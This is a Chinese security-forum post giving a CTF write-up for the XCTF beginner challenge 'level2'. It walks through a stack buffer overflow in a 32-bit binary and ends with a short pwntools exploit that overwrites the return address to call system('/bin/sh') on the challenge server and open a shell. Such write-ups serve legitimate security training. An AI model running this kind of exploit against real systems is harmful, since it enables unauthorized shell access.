安全矩阵

 找回密码
 立即注册
搜索
查看: 2568|回复: 0

xctf--新手区--level2

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-19 17:17:29 | 显示全部楼层 |阅读模式
原题链接:level2
附件:

writeup:
checksec查看保护机制



32位程序,开了NX和Partial RELRO

顺便运行一下:


[img]file:///C:\Users\asus\AppData\Roaming\Tencent\Users\2594738584\QQ\WinTemp\RichOle\A3CI`W3`[1S)N889B[(3G(4.png[/img]


接着放到IDA里面:



在这里可以看见buf长度是0x88,我们可以的输入0x100个字符,我们在这里是可以发生缓冲区溢出
可是这里并没有像上一题一样有一个直接调用system("/bin/sh")的函数,所以上题的方法显然走不通。
还记得题目描述吗?菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’


对啊!虽然没有,那我们可以去找到system函数和“/bin/sh”字符串,通过强大的rop技术来获得系统权限。
我们找到了system函数地址是0x08048320




现在找“/bin/sh”的地址,找字符串还是要用ROPgadget这个强大的工具,“/bin/sh”的地址是0x0804a024



定位溢出点,很奇怪我用工具并没有不能成功找出溢出点,就去看了一下别人的wp
0x88是程序中缓冲区的大小,4个大小是需要覆盖的ebp的地址,之后是函数的返回地址,所以在eip之前用0x8c的长度覆盖掉就好了
现在写出来exp
  1. from pwn import*
  2. r=remote("159.138.137.79",54645)
  3. sysaddr= 0x08048320
  4. binshaddr=0x0804a024
  5. payload="a"*0x8c+p32(sysaddr)+p32(0)+p32(binshaddr)
  6. r.sendline(payload)
  7. r.interactive()
复制代码


拿到flag了!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 09:50 , Processed in 0.014531 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表